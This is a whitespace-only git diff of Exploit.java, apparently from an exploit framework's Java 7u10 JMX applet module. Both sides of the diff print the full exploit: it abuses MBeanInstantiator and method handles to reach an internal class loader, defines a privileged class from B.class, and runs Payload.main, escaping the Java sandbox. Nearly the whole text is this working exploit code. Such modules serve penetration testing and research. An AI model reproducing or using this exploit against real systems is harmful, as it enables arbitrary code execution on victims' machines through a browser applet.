diff --git a/external/source/exploits/j7u10_jmx/Exploit.java b/external/source/exploits/j7u10_jmx/Exploit.java
index f35c8ee469..3402631a92 100755
--- a/external/source/exploits/j7u10_jmx/Exploit.java
+++ b/external/source/exploits/j7u10_jmx/Exploit.java
@@ -27,40 +27,40 @@ public class Exploit extends Applet
     {
         try
         {
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			byte[] buffer = new byte[8192];
-			int length;
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            byte[] buffer = new byte[8192];
+            int length;
+
+            // read in the class file from the jar
+            InputStream is = getClass().getResourceAsStream("B.class");
+            // and write it out to the byte array stream
+            while( ( length = is.read( buffer ) ) > 0 )
+                bos.write( buffer, 0, length );
+            // convert it to a simple byte array
+            buffer = bos.toByteArray();
+
+            JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
+            JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
+            MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
+            ClassLoader a = null;
+            Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
+            Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
+            MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
+            MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
+            MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
+            MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
+            MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
+            Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
+            MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
+            MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
+            MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
+            MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
+            Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
+            MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
+            MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
+            Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
+            localClass3.newInstance();
 
-			// read in the class file from the jar
-			InputStream is = getClass().getResourceAsStream("B.class");
-			// and write it out to the byte array stream
-			while( ( length = is.read( buffer ) ) > 0 )
-				bos.write( buffer, 0, length );
-			// convert it to a simple byte array
-			buffer = bos.toByteArray();			
-			
-			JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
-			JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
-			MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
-			ClassLoader a = null;
-			Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
-			Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
-			MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
-			MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
-			MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
-			MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
-			MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
-			Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
-			MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
-			MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
-			MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
-			MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
-			Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
-			MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
-			MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
-			Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
-			localClass3.newInstance();
-			
             Payload.main(null);
             //Runtime.getRuntime().exec("calc.exe");
         }